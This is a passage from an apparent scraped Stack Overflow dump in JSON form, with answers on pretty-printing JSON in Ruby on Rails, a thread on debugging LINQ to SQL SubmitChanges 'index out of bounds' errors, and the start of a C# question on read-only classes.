Rails.env.development?\n ...\nend\n</code></pre>\n\n<p>A problem with using JSON.pretty_generate is that JSON schema validators will no longer be happy with your datetime strings. You can fix those in your config/initializers/rabl_config.rb with:</p>\n\n<pre><code>ActiveSupport::TimeWithZone.class_eval do\n alias_method :orig_to_s, :to_s\n def to_s(format = :default)\n format == :default ? iso8601 : orig_to_s(format)\n end\nend\n</code></pre>\n" }, { "answer_id": 33993183, "author": "Sergio Belevskij", "author_id": 1576822, "author_profile": "https://Stackoverflow.com/users/1576822", "pm_score": 2, "selected": false, "text": "<pre><code>\n# example of use:\na_hash = {user_info: {type: \"query_service\", e_mail: \"[email protected]\", phone: \"+79876543322\"}, cars_makers: [\"bmw\", \"mitsubishi\"], car_models: [bmw: {model: \"1er\", year_mfc: 2006}, mitsubishi: {model: \"pajero\", year_mfc: 1997}]}\npretty_html = a_hash.pretty_html\n\n# include this module to your libs:\nmodule MyPrettyPrint\n def pretty_html indent = 0\n result = \"\"\n if self.class == Hash\n self.each do |key, value|\n result += \"#{key}</p>: #{[Array, Hash].include?(value.class) ? value.pretty_html(indent+1) : value}</p></li>\"\n end\n elsif self.class == Array\n result = \"[#{self.join(', ')}]\"\n end\n \"#{result}\"\n end\n\nend\n\nclass Hash\n include MyPrettyPrint\nend\n\nclass Array\n include MyPrettyPrint\nend\n</code></pre>\n" }, { "answer_id": 35445669, "author": "sealocal", "author_id": 3238292, "author_profile": "https://Stackoverflow.com/users/3238292", "pm_score": 3, "selected": false, "text": "<p>If you're looking to quickly implement this in a Rails controller action to send a JSON response:</p>\n\n<pre><code>def index\n my_json = '{ \"key\": \"value\" }'\n render json: JSON.pretty_generate( JSON.parse my_json )\nend\n</code></pre>\n" }, { "answer_id": 38108045, "author": "Synthead", "author_id": 1713534, "author_profile": "https://Stackoverflow.com/users/1713534", "pm_score": 5, "selected": false, "text": "<p>Check out <a href=\"https://github.com/awesome-print/awesome_print\" rel=\"noreferrer\">Awesome Print</a>. Parse the JSON string into a Ruby Hash, then display it with <code>ap</code> like so:</p>\n\n<pre><code>require \"awesome_print\"\nrequire \"json\"\n\njson = '{\"holy\": [\"nested\", \"json\"], \"batman!\": {\"a\": 1, \"b\": 2}}'\n\nap(JSON.parse(json))\n</code></pre>\n\n<p>With the above, you'll see:</p>\n\n<pre><code>{\n \"holy\" =&gt; [\n [0] \"nested\",\n [1] \"json\"\n ],\n \"batman!\" =&gt; {\n \"a\" =&gt; 1,\n \"b\" =&gt; 2\n }\n}\n</code></pre>\n\n<p>Awesome Print will also add some color that Stack Overflow won't show you.</p>\n" }, { "answer_id": 38733065, "author": "oj5th", "author_id": 6583381, "author_profile": "https://Stackoverflow.com/users/6583381", "pm_score": 4, "selected": false, "text": "<p>Using <code>&lt;pre&gt;</code> HTML code and <code>pretty_generate</code> is good trick:</p>\n\n<pre><code>&lt;%\n require 'json'\n\n hash = JSON[{hey: \"test\", num: [{one: 1, two: 2, threes: [{three: 3, tthree: 33}]}]}.to_json] \n%&gt;\n\n&lt;pre&gt;\n &lt;%= JSON.pretty_generate(hash) %&gt;\n&lt;/pre&gt;\n</code></pre>\n" }, { "answer_id": 44000539, "author": "Буянбат Чойжилсүрэн", "author_id": 1642675, "author_profile": "https://Stackoverflow.com/users/1642675", "pm_score": 3, "selected": false, "text": "<pre><code>#At Controller\ndef branch\n @data = Model.all\n render json: JSON.pretty_generate(@data.as_json)\nend\n</code></pre>\n" }, { "answer_id": 56272398, "author": "SergA", "author_id": 1677270, "author_profile": "https://Stackoverflow.com/users/1677270", "pm_score": 2, "selected": false, "text": "<p>Pretty print variant (<strong>Rails</strong>):</p>\n<pre class=\"lang-rb prettyprint-override\"><code>my_obj = {\n 'array' =&gt; [1, 2, 3, { &quot;sample&quot; =&gt; &quot;hash&quot;}, 44455, 677778, nil ],\n foo: &quot;bar&quot;, rrr: {&quot;pid&quot;: 63, &quot;state with nil and \\&quot;nil\\&quot;&quot;: false},\n wwww: 'w' * 74\n}\n</code></pre>\n<pre class=\"lang-rb prettyprint-override\"><code>require 'pp'\nputs my_obj.as_json.pretty_inspect.\n gsub('=&gt;', ': ').\n gsub(/&quot;(?:[^&quot;\\\\]|\\\\.)*&quot;|\\bnil\\b/) {|m| m == 'nil' ? 'null' : m }.\n gsub(/\\s+$/, &quot;&quot;)\n</code></pre>\n<p>Result:</p>\n<pre class=\"lang-json prettyprint-override\"><code>{&quot;array&quot;: [1, 2, 3, {&quot;sample&quot;: &quot;hash&quot;}, 44455, 677778, null],\n &quot;foo&quot;: &quot;bar&quot;,\n &quot;rrr&quot;: {&quot;pid&quot;: 63, &quot;state with nil and \\&quot;nil\\&quot;&quot;: false},\n &quot;wwww&quot;:\n &quot;wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww&quot;}\n\n</code></pre>\n" }, { "answer_id": 58530985, "author": "Martin Carstens", "author_id": 3485542, "author_profile": "https://Stackoverflow.com/users/3485542", "pm_score": 2, "selected": false, "text": "<p>Simplest example, I could think of:</p>\n\n<pre><code>my_json = '{ \"name\":\"John\", \"age\":30, \"car\":null }'\nputs JSON.pretty_generate(JSON.parse(my_json))\n</code></pre>\n\n<p>Rails console example:</p>\n\n<pre><code>core dev 1555:0&gt; my_json = '{ \"name\":\"John\", \"age\":30, \"car\":null }'\n=&gt; \"{ \\\"name\\\":\\\"John\\\", \\\"age\\\":30, \\\"car\\\":null }\"\ncore dev 1556:0&gt; puts JSON.pretty_generate(JSON.parse(my_json))\n{\n \"name\": \"John\",\n \"age\": 30,\n \"car\": null\n}\n=&gt; nil\n</code></pre>\n" }, { "answer_id": 70187118, "author": "TorvaldsDB", "author_id": 7262646, "author_profile": "https://Stackoverflow.com/users/7262646", "pm_score": 2, "selected": false, "text": "<h3>if you want to handle active_record object, <code>puts</code> is enough.</h3>\n<p>for example:</p>\n<ul>\n<li>without <code>puts</code></li>\n</ul>\n<pre class=\"lang-rb prettyprint-override\"><code>2.6.0 (main):0 &gt; User.first.to_json\n User Load (0.4ms) SELECT &quot;users&quot;.* FROM &quot;users&quot; ORDER BY &quot;users&quot;.&quot;id&quot; ASC LIMIT $1 [[&quot;LIMIT&quot;, 1]]\n=&gt; &quot;{\\&quot;id\\&quot;:1,\\&quot;admin\\&quot;:true,\\&quot;email\\&quot;:\\&quot;[email protected]\\&quot;,\\&quot;password_digest\\&quot;:\\&quot;$2a$10$TQy3P7NT8KrdCzliNUsZzuhmo40LGKoth2hwD3OI.kD0lYiIEwB1y\\&quot;,\\&quot;created_at\\&quot;:\\&quot;2021-07-20T08:34:19.350Z\\&quot;,\\&quot;updated_at\\&quot;:\\&quot;2021-07-20T08:34:19.350Z\\&quot;,\\&quot;name\\&quot;:\\&quot;Arden Stark\\&quot;}&quot;\n</code></pre>\n<ul>\n<li>with <code>puts</code></li>\n</ul>\n<pre class=\"lang-rb prettyprint-override\"><code>2.6.0 (main):0 &gt; puts User.first.to_json\n User Load (0.3ms) SELECT &quot;users&quot;.* FROM &quot;users&quot; ORDER BY &quot;users&quot;.&quot;id&quot; ASC LIMIT $1 [[&quot;LIMIT&quot;, 1]]\n{&quot;id&quot;:1,&quot;admin&quot;:true,&quot;email&quot;:&quot;[email protected]&quot;,&quot;password_digest&quot;:&quot;$2a$10$TQy3P7NT8KrdCzliNUsZzuhmo40LGKoth2hwD3OI.kD0lYiIEwB1y&quot;,&quot;created_at&quot;:&quot;2021-07-20T08:34:19.350Z&quot;,&quot;updated_at&quot;:&quot;2021-07-20T08:34:19.350Z&quot;,&quot;name&quot;:&quot;Arden Stark&quot;}\n=&gt; nil\n</code></pre>\n<h3>if you are handle the json data, <a href=\"https://devdocs.io/ruby%7E3/json#method-i-pretty_generate\" rel=\"nofollow noreferrer\">JSON.pretty_generate</a> is a good alternative</h3>\n<p>Example:</p>\n<pre class=\"lang-rb prettyprint-override\"><code>obj = {foo: [:bar, :baz], bat: {bam: 0, bad: 1}}\njson = JSON.pretty_generate(obj)\nputs json\n</code></pre>\n<p>Output:</p>\n<pre class=\"lang-rb prettyprint-override\"><code>{\n &quot;foo&quot;: [\n &quot;bar&quot;,\n &quot;baz&quot;\n ],\n &quot;bat&quot;: {\n &quot;bam&quot;: 0,\n &quot;bad&quot;: 1\n }\n}\n</code></pre>\n<h3>if it's in the ROR project, I always prefer to use gem <code>pry-rails</code> to format my codes in the <code>rails console</code> rather than <code>awesome_print</code> which is too verbose.</h3>\n<p>Example of <code>pry-rails</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/qrDLG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qrDLG.png\" alt=\"enter image description here\" /></a></p>\n<p>it also has syntax highlight.</p>\n" }, { "answer_id": 72740405, "author": "stevec", "author_id": 5783745, "author_profile": "https://Stackoverflow.com/users/5783745", "pm_score": 0, "selected": false, "text": "<p>I had a JSON object in the rails console, and wanted to display it nicely in the console (as opposed to displaying like a massive concatenated string), it was as simple as:</p>\n<pre class=\"lang-rb prettyprint-override\"><code>data.as_json\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86653", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10333/" ]
I would like my JSON output in Ruby on Rails to be "pretty" or nicely formatted. Right now, I call `to_json` and my JSON is all on one line. At times this can be difficult to see if there is a problem in the JSON output stream. Is there way to configure to make my JSON "pretty" or nicely formatted in Rails?
Use the `pretty_generate()` function, built into later versions of JSON. For example: ``` require 'json' my_object = { :array => [1, 2, 3, { :sample => "hash"} ], :foo => "bar" } puts JSON.pretty_generate(my_object) ``` Which gets you: ``` { "array": [ 1, 2, 3, { "sample": "hash" } ], "foo": "bar" } ```
86,685
<p>I am having a really hard time attempting to debug LINQ to SQL and submitting changes.</p> <p>I have been using <a href="http://weblogs.asp.net/scottgu/archive/2007/07/31/linq-to-sql-debug-visualizer.aspx" rel="noreferrer">http://weblogs.asp.net/scottgu/archive/2007/07/31/linq-to-sql-debug-visualizer.aspx</a>, which works great for debugging simple queries.</p> <p>I'm working in the DataContext Class for my project with the following snippet from my application:</p> <pre><code>JobMaster newJobToCreate = new JobMaster(); newJobToCreate.JobID = 9999 newJobToCreate.ProjectID = "New Project"; this.UpdateJobMaster(newJobToCreate); this.SubmitChanges(); </code></pre> <p>I will catch some very odd exceptions when I run this.SubmitChanges;</p> <pre><code>Index was outside the bounds of the array. </code></pre> <p>The stack trace goes places I cannot step into:</p> <pre><code>at System.Data.Linq.IdentityManager.StandardIdentityManager.MultiKeyManager`3.TryCreateKeyFromValues(Object[] values, MultiKey`2&amp; k) at System.Data.Linq.IdentityManager.StandardIdentityManager.IdentityCache`2.Find(Object[] keyValues) at System.Data.Linq.IdentityManager.StandardIdentityManager.Find(MetaType type, Object[] keyValues) at System.Data.Linq.CommonDataServices.GetCachedObject(MetaType type, Object[] keyValues) at System.Data.Linq.ChangeProcessor.GetOtherItem(MetaAssociation assoc, Object instance) at System.Data.Linq.ChangeProcessor.BuildEdgeMaps() at System.Data.Linq.ChangeProcessor.SubmitChanges(ConflictMode failureMode) at System.Data.Linq.DataContext.SubmitChanges(ConflictMode failureMode) at System.Data.Linq.DataContext.SubmitChanges() at JobTrakDataContext.CreateNewJob(NewJob job, String userName) in D:\JobTrakDataContext.cs:line 1119 </code></pre> <p>Does anyone have any tools or techniques they use? Am I missing something simple?</p> <p><strong>EDIT</strong>: I've setup .net debugging using Slace's suggestion, however the .net 3.5 code is not yet available: <a href="http://referencesource.microsoft.com/netframework.aspx" rel="noreferrer">http://referencesource.microsoft.com/netframework.aspx</a></p> <p><strong>EDIT2</strong>: I've changed to InsertOnSubmit as per sirrocco's suggestion, still getting the same error.</p> <p><strong>EDIT3:</strong> I've implemented Sam's suggestions trying to log the SQL generated and to catch the ChangeExceptoinException. These suggestions do not shed any more light, I'm never actually getting to generate SQL when my exception is being thrown.</p> <p><strong>EDIT4:</strong> I found an answer that works for me below. Its just a theory but it has fixed my current issue.</p>
[ { "answer_id": 86704, "author": "Per Hornshøj-Schierbeck", "author_id": 11619, "author_profile": "https://Stackoverflow.com/users/11619", "pm_score": 1, "selected": false, "text": "<p>A simple solution could be to run a trace on your database and inspect the queries run against it - filtered ofcourse to sort out other applications etc. accessing the database.</p>\n\n<p>That ofcourse only helps once you get past the exceptions...</p>\n" }, { "answer_id": 86921, "author": "John Christensen", "author_id": 1194, "author_profile": "https://Stackoverflow.com/users/1194", "pm_score": 0, "selected": false, "text": "<p>Hrm.</p>\n\n<p>Taking a WAG (Wild Ass Guess), it looks to me like LINQ - SQL is trying to find an object with an id that doesn't exist, based somehow on the creation of the JobMaster class. Are there foreign keys related to that table such that LINQ to SQL would attempt to fetch an instance of a class, which may not exist? You seem to be setting the ProjectID of the new object to a string - do you really have an id that's a string? If you're trying to set it to a new project, you'll need to create a new project and get its id.</p>\n\n<p>Lastly, what does UpdateJobMaster do? Could it be doing something such that the above would apply?</p>\n" }, { "answer_id": 88464, "author": "Aaron Powell", "author_id": 11388, "author_profile": "https://Stackoverflow.com/users/11388", "pm_score": 1, "selected": false, "text": "<p>VS 2008 has the ability to debug though the .NET framework (<a href=\"http://blogs.msdn.com/sburke/archive/2008/01/16/configuring-visual-studio-to-debug-net-framework-source-code.aspx\" rel=\"nofollow noreferrer\">http://blogs.msdn.com/sburke/archive/2008/01/16/configuring-visual-studio-to-debug-net-framework-source-code.aspx</a>)</p>\n\n<p>This is probably your best bet, you can see what's happening and what all the properties are at the exact point in time</p>\n" }, { "answer_id": 89744, "author": "KristoferA", "author_id": 11241, "author_profile": "https://Stackoverflow.com/users/11241", "pm_score": 2, "selected": false, "text": "<p>The error you are referring to above is usually caused by <strong><em>associations pointing in the wrong direction</em></strong>. This happens very easily when manually adding associations to the designer since the association arrows in the L2S designer point backwards when compared to data modelling tools.</p>\n\n<p>It would be nice if they threw a more descriptive exception, and maybe they will in a future version. (Damien / Matt...?)</p>\n" }, { "answer_id": 90007, "author": "sirrocco", "author_id": 5246, "author_profile": "https://Stackoverflow.com/users/5246", "pm_score": 1, "selected": false, "text": "<p>Why do you do UpdateJobMaster on a new instance ? Shouldn't it be InsertOnSubmit ?</p>\n\n<pre><code>JobMaster newJobToCreate = new JobMaster();\nnewJobToCreate.JobID = 9999\nnewJobToCreate.ProjectID = \"New Project\";\nthis.InsertOnSubmit(newJobToCreate);\nthis.SubmitChanges();\n</code></pre>\n" }, { "answer_id": 90025, "author": "Quintin Robinson", "author_id": 12707, "author_profile": "https://Stackoverflow.com/users/12707", "pm_score": 2, "selected": false, "text": "<p>You can create a partial class for your DataContext and use the Created or what have you partial method to setup the log to the console.out wrapped in an #if DEBUG.. this will help you to see the queries executed while debugging any instance of the datacontext you are using.</p>\n\n<p>I have found this useful while debugging LINQ to SQL exceptions..</p>\n\n<pre><code>partial void OnCreated()\n{\n#if DEBUG\n this.Log = Console.Out;\n#endif\n}\n</code></pre>\n" }, { "answer_id": 91510, "author": "Sam", "author_id": 7021, "author_profile": "https://Stackoverflow.com/users/7021", "pm_score": 3, "selected": false, "text": "<p>My first debugging action would be to look at the generated SQL:</p>\n\n<pre><code>JobMaster newJobToCreate = new JobMaster();\nnewJobToCreate.JobID = 9999\nnewJobToCreate.ProjectID = \"New Project\";\nthis.UpdateJobMaster(newJobToCreate);\nthis.Log = Console.Out; // prints the SQL to the debug console\nthis.SubmitChanges();\n</code></pre>\n\n<p>The second would be to capture the ChangeConflictException and have a look at the details of failure.</p>\n\n<pre><code> catch (ChangeConflictException e)\n {\n Console.WriteLine(\"Optimistic concurrency error.\");\n Console.WriteLine(e.Message);\n Console.ReadLine();\n foreach (ObjectChangeConflict occ in db.ChangeConflicts)\n {\n MetaTable metatable = db.Mapping.GetTable(occ.Object.GetType());\n Customer entityInConflict = (Customer)occ.Object;\n Console.WriteLine(\"Table name: {0}\", metatable.TableName);\n Console.Write(\"Customer ID: \");\n Console.WriteLine(entityInConflict.CustomerID);\n foreach (MemberChangeConflict mcc in occ.MemberConflicts)\n {\n object currVal = mcc.CurrentValue;\n object origVal = mcc.OriginalValue;\n object databaseVal = mcc.DatabaseValue;\n MemberInfo mi = mcc.Member;\n Console.WriteLine(\"Member: {0}\", mi.Name);\n Console.WriteLine(\"current value: {0}\", currVal);\n Console.WriteLine(\"original value: {0}\", origVal);\n Console.WriteLine(\"database value: {0}\", databaseVal);\n }\n }\n }\n</code></pre>\n" }, { "answer_id": 104316, "author": "ben", "author_id": 7561, "author_profile": "https://Stackoverflow.com/users/7561", "pm_score": 4, "selected": true, "text": "<p>First, thanks everyone for the help, I finally found it.</p>\n\n<p>The solution was to drop the .dbml file from the project, add a blank .dbml file and repopulate it with the tables needed for my project from the 'Server Explorer'.</p>\n\n<p>I noticed a couple of things while I was doing this:</p>\n\n<ul>\n<li>There are a few tables in the system named with two words and a space in between the words, i.e. 'Job Master'. When I was pulling that table back into the .dbml file it would create a table called 'Job_Master', it would replace the space with an underscore.</li>\n<li>In the orginal .dbml file one of my developers had gone through the .dbml file and removed all of the underscores, thus 'Job_Master' would become 'JobMaster' in the .dbml file. In code we could then refer to the table in a more, for us, standard naming convention.</li>\n<li>My theory is that somewhere, the translation from 'JobMaster' to 'Job Master' while was lost while doing the projection, and I kept coming up with the array out of bounds error.</li>\n</ul>\n\n<p>It is only a theory. If someone can better explain it I would love to have a concrete answer here.</p>\n" }, { "answer_id": 192274, "author": "amcoder", "author_id": 26898, "author_profile": "https://Stackoverflow.com/users/26898", "pm_score": 0, "selected": false, "text": "<p>We have actually stopped using the Linq to SQL designer for our large projects and this problem is one of the main reasons. We also change a lot of the default values for names, data types and relationships and every once in a while the designer would lose those changes. I never did find an exact reason, and I can't reliably reproduce it.</p>\n\n<p>That, along with the other limitations caused us to drop the designer and design the classes by hand. After we got used to the patterns, it is actually easier than using the designer.</p>\n" }, { "answer_id": 192774, "author": "Matt", "author_id": 17803, "author_profile": "https://Stackoverflow.com/users/17803", "pm_score": 0, "selected": false, "text": "<p>I posted a similar question earlier today here: <a href=\"https://stackoverflow.com/questions/191690/strange-linq-exception-index-out-of-bounds\">Strange LINQ Exception (Index out of bounds)</a>.</p>\n\n<p>It's a different use case - where this bug happens during a SubmitChanges(), mine happens during a simple query, but it is also an Index out of range error. </p>\n\n<p>Cross posting in this question in case the combination of data in the questions helps a good Samaritan answer either :)</p>\n" }, { "answer_id": 531774, "author": "Neil Barnwell", "author_id": 26414, "author_profile": "https://Stackoverflow.com/users/26414", "pm_score": 0, "selected": false, "text": "<p>Check that all the \"primary key\" columns in your dbml actually relate to the primary keys on the database tables. I just had a situation where the designer decided to put an extra PK column in the dbml, which meant LINQ to SQL couldn't find both sides of a foreign key when saving.</p>\n" }, { "answer_id": 665357, "author": "craziac", "author_id": 79944, "author_profile": "https://Stackoverflow.com/users/79944", "pm_score": 0, "selected": false, "text": "<p>I recently encountered the same issue: what I did was </p>\n\n<pre><code>Proce proces = unit.Proces.Single(u =&gt; u.ProcesTypeId == (from pt in context.ProcesTypes\n where pt.Name == \"Fix-O\"\n select pt).Single().ProcesTypeId &amp;&amp;\n u.UnitId == UnitId);\n</code></pre>\n\n<p>Instead of:</p>\n\n<pre><code>Proce proces = context.Proces.Single(u =&gt; u.ProcesTypeId == (from pt in context.ProcesTypes\n where pt.Name == \"Fix-O\"\n select pt).Single().ProcesTypeId &amp;&amp;\n u.UnitId == UnitId);\n</code></pre>\n\n<p>Where context was obviously the DataContext object and \"unit\" an instance of Unit object, a Data Class from a dbml file.</p>\n\n<p>Next, I used the \"proce\" object to set a property in an instance of another Data Class object. Probably the LINQ engine could not check whether the property I was setting from the \"proce\" object, was allowed in the INSERT command that was going to have to be created by LINQ to add the other Data Class object to the database.</p>\n" }, { "answer_id": 707320, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 5, "selected": false, "text": "<p>I always found useful to know exactly what changes are being sent to the DataContext in the SubmitChanges() method.</p>\n\n<p>I use the <a href=\"http://msdn.microsoft.com/en-us/library/system.data.linq.datacontext.getchangeset.aspx\" rel=\"noreferrer\">DataContext.GetChangeSet()</a> method, it returns a <a href=\"http://msdn.microsoft.com/en-us/library/system.data.linq.changeset.aspx\" rel=\"noreferrer\">ChangeSet</a> object instance that holds 3 read-only IList's of objects which have either been added, modified, or removed.</p>\n\n<p>You can place a breakpoint just before the SubmitChanges method call, and add a Watch (or Quick Watch) containing: </p>\n\n<pre><code>ctx.GetChangeSet();\n</code></pre>\n\n<p>Where ctx is the current instance of your DataContext, and then you'll be able to track all the changes that will be effective on the SubmitChanges call.</p>\n" }, { "answer_id": 750725, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I had the same non speaking error.</p>\n\n<p>I had a foreign key relation to a column of a table that was not the primary key of the table, but a unique column. \nWhen I changed the unique column to be the primary key of the table the problem went away.</p>\n\n<p>Hope this helps anyone!</p>\n" }, { "answer_id": 953871, "author": "Jim Counts", "author_id": 36737, "author_profile": "https://Stackoverflow.com/users/36737", "pm_score": 0, "selected": false, "text": "<p>Posted my experiences with this exception in an answer to SO# <a href=\"https://stackoverflow.com/questions/237415/linq-to-sql/947926#947926\">237415</a></p>\n" }, { "answer_id": 1229026, "author": "Mark", "author_id": 64084, "author_profile": "https://Stackoverflow.com/users/64084", "pm_score": 1, "selected": false, "text": "<p>This almost certainly won't be everyone's root cause, but I encountered this exact same exception in my project - and found that the root cause was that an exception was being thrown during construction of an entity class. Oddly, the true exception is \"lost\" and instead manifests as an ArgumentOutOfRange exception originating at the iterator of the Linq statement that retrieves the object/s. </p>\n\n<p>If you are receiving this error and you have introduced OnCreated or OnLoaded methods on your POCOs, try stepping through those methods. </p>\n" }, { "answer_id": 11529786, "author": "OscarRyz", "author_id": 20654, "author_profile": "https://Stackoverflow.com/users/20654", "pm_score": 2, "selected": false, "text": "<p>This is what I did</p>\n\n<pre><code>...\nvar builder = new StringBuilder();\ntry\n{\n context.Log = new StringWriter(builder);\n context.MY_TABLE.InsertAllOnSubmit(someData);\n context.SubmitChanges(); \n}\nfinally\n{\n Log.InfoFormat(\"Some meaningful message here... ={0}\", builder);\n}\n</code></pre>\n" }, { "answer_id": 38526041, "author": "RuudvK", "author_id": 3146507, "author_profile": "https://Stackoverflow.com/users/3146507", "pm_score": 0, "selected": false, "text": "<p>I ended up on this question when trying to debug my LINQ ChangeConflictException. In the end I realized the problem was that I manually added a property to a table in my DBML file, but I forgot to set the properties like <strong>Nullable</strong> (should have been true in my case) and <strong>Server Data Type</strong></p>\n\n<p>Hope this helps someone.</p>\n" }, { "answer_id": 53403026, "author": "Mr Zach", "author_id": 4352089, "author_profile": "https://Stackoverflow.com/users/4352089", "pm_score": 0, "selected": false, "text": "<p>This is a long time ago, but I had the same problem and the error was because of a trigger with a select statement. Something like</p>\n\n<pre><code>CREATE TRIGGER NAME ON TABLE1 AFTER UPDATE AS SELECT table1.key from table1 \ninner join inserted on table1.key = inserted.key\n</code></pre>\n\n<p>When linq-to-sql runs the update command, it also runs a select statement to receive the auto generated values in the same query and expecting the first record set to contains the columns \"asked for\" but in this case the first row was the columns from the select statement in the trigger. So linq-to-sql was expecting two autogenerated columns, but it only received one column (with wrong data) and that was causing this exception.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86685", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7561/" ]
I am having a really hard time attempting to debug LINQ to SQL and submitting changes. I have been using <http://weblogs.asp.net/scottgu/archive/2007/07/31/linq-to-sql-debug-visualizer.aspx>, which works great for debugging simple queries. I'm working in the DataContext Class for my project with the following snippet from my application: ``` JobMaster newJobToCreate = new JobMaster(); newJobToCreate.JobID = 9999 newJobToCreate.ProjectID = "New Project"; this.UpdateJobMaster(newJobToCreate); this.SubmitChanges(); ``` I will catch some very odd exceptions when I run this.SubmitChanges; ``` Index was outside the bounds of the array. ``` The stack trace goes places I cannot step into: ``` at System.Data.Linq.IdentityManager.StandardIdentityManager.MultiKeyManager`3.TryCreateKeyFromValues(Object[] values, MultiKey`2& k) at System.Data.Linq.IdentityManager.StandardIdentityManager.IdentityCache`2.Find(Object[] keyValues) at System.Data.Linq.IdentityManager.StandardIdentityManager.Find(MetaType type, Object[] keyValues) at System.Data.Linq.CommonDataServices.GetCachedObject(MetaType type, Object[] keyValues) at System.Data.Linq.ChangeProcessor.GetOtherItem(MetaAssociation assoc, Object instance) at System.Data.Linq.ChangeProcessor.BuildEdgeMaps() at System.Data.Linq.ChangeProcessor.SubmitChanges(ConflictMode failureMode) at System.Data.Linq.DataContext.SubmitChanges(ConflictMode failureMode) at System.Data.Linq.DataContext.SubmitChanges() at JobTrakDataContext.CreateNewJob(NewJob job, String userName) in D:\JobTrakDataContext.cs:line 1119 ``` Does anyone have any tools or techniques they use? Am I missing something simple? **EDIT**: I've setup .net debugging using Slace's suggestion, however the .net 3.5 code is not yet available: <http://referencesource.microsoft.com/netframework.aspx> **EDIT2**: I've changed to InsertOnSubmit as per sirrocco's suggestion, still getting the same error. **EDIT3:** I've implemented Sam's suggestions trying to log the SQL generated and to catch the ChangeExceptoinException. These suggestions do not shed any more light, I'm never actually getting to generate SQL when my exception is being thrown. **EDIT4:** I found an answer that works for me below. Its just a theory but it has fixed my current issue.
First, thanks everyone for the help, I finally found it. The solution was to drop the .dbml file from the project, add a blank .dbml file and repopulate it with the tables needed for my project from the 'Server Explorer'. I noticed a couple of things while I was doing this: * There are a few tables in the system named with two words and a space in between the words, i.e. 'Job Master'. When I was pulling that table back into the .dbml file it would create a table called 'Job\_Master', it would replace the space with an underscore. * In the orginal .dbml file one of my developers had gone through the .dbml file and removed all of the underscores, thus 'Job\_Master' would become 'JobMaster' in the .dbml file. In code we could then refer to the table in a more, for us, standard naming convention. * My theory is that somewhere, the translation from 'JobMaster' to 'Job Master' while was lost while doing the projection, and I kept coming up with the array out of bounds error. It is only a theory. If someone can better explain it I would love to have a concrete answer here.
86,726
<p>I have the following type :</p> <pre><code>// incomplete class definition public class Person { private string name; public string Name { get { return this.name; } } } </code></pre> <p>I want this type to be <strong>created</strong> and <strong>updated</strong> with some sort of dedicated controller/builder, but I want it to remain <strong>read-only for other types</strong>.</p> <p>This object also needs to fire an event every time it is updated by its controller/builder.</p> <p>To summary, according to the previous type definition skeleton :</p> <ul> <li>The <code>Person</code> could only be instantiated by a specific controller</li> <li>This controller could <strong>update</strong> the state of the <code>Person</code> (<code>name</code> field) at any time</li> <li>The <code>Person</code> need to send a <strong>notification</strong> to the rest of the world when it occurs</li> <li>All other types should only be able to <strong>read</strong> <code>Person</code> attributes</li> </ul> <p>How should I implement this ? I'm talking about a controller/builder here, but all others solutions are welcome.</p> <p>Note : <em>I would be able to rely on the <code>internal</code> modifier, but ideally all my stuff should be in the same assembly.</em></p>
[ { "answer_id": 86753, "author": "Jason Cohen", "author_id": 4926, "author_profile": "https://Stackoverflow.com/users/4926", "pm_score": 1, "selected": false, "text": "<p>I like to have a read-only interface. Then the builder/controller/whatever can reference the object directly, but when you expose this object to the outside you show only the interface.</p>\n" }, { "answer_id": 86786, "author": "fryguybob", "author_id": 4592, "author_profile": "https://Stackoverflow.com/users/4592", "pm_score": 1, "selected": false, "text": "<p>Use an interface <code>IPerson</code> and a nested class:</p>\n\n<pre><code>public class Creator\n{\n private class Person : IPerson\n {\n public string Name { get; set; }\n }\n\n public IPerson Create(...) ...\n\n\n public void Modify(IPerson person, ...)\n {\n Person dude = person as Person;\n if (dude == null)\n // wasn't created by this class.\n else\n // update the data.\n }\n}\n</code></pre>\n" }, { "answer_id": 86803, "author": "JasonTrue", "author_id": 13433, "author_profile": "https://Stackoverflow.com/users/13433", "pm_score": 3, "selected": false, "text": "<p>Create an interface IReadOnlyPerson which exposes only get accessors. Have Person implement IReadOnlyPerson. Store the reference to Person in your controller. Give other clients only the read only version.</p>\n\n<p>This will protect against mistakes, but not fraud, as with most OO features. Clients can runtime cast to Person if they happen to know (or suspect) IReadOnlyPerson is implemented by Person.</p>\n\n<p><strong>Update, per the comment:</strong></p>\n\n<p>The Read Only interface may also expose an event delegate, just like any other object. The idiom generally used in C# doesn't prevent clients from messing with the list of listeners, but convention is only to add listeners, so that should be adequate. Inside any set accessor or function with state-changing side effects, just call the event delegate with a guard for the null (no listeners) case.</p>\n" }, { "answer_id": 86831, "author": "David Thibault", "author_id": 5903, "author_profile": "https://Stackoverflow.com/users/5903", "pm_score": 0, "selected": false, "text": "<p>Maybe something like that ?</p>\n\n<pre><code>public class Person\n{\n public class Editor\n {\n private readonly Person person;\n\n public Editor(Person p)\n {\n person = p;\n }\n\n public void SetName(string name)\n {\n person.name = name;\n }\n\n public static Person Create(string name)\n {\n return new Person(name);\n }\n }\n\n protected string name;\n\n public string Name\n {\n get { return this.name; }\n }\n\n protected Person(string name)\n {\n this.name = name;\n }\n}\n\nPerson p = Person.Editor.Create(\"John\");\nPerson.Editor e = new Person.Editor(p);\ne.SetName(\"Jane\");\n</code></pre>\n\n<p>Not pretty, but I think it works. Alternatively you can use properties instead of SetX methods on the editor.</p>\n" }, { "answer_id": 86898, "author": "cfeduke", "author_id": 5645, "author_profile": "https://Stackoverflow.com/users/5645", "pm_score": 1, "selected": false, "text": "<p>I think <code>internal</code> is the least complex and best approach (this of course involves multiple assemblies). Short of doing some overhead intensive stack walking to determine the caller in the property setter you could try:</p>\n\n<pre><code>interface IPerson \n{\n Name { get; set; } \n}\n</code></pre>\n\n<p>and implement this interface explicitly:</p>\n\n<pre><code>class Person : IPerson \n{\n Name { get; private set; }\n string IPerson.Name { get { return Name; } set { Name = value; } } \n}\n</code></pre>\n\n<p>then perform explicit interface casts in your builder for setting 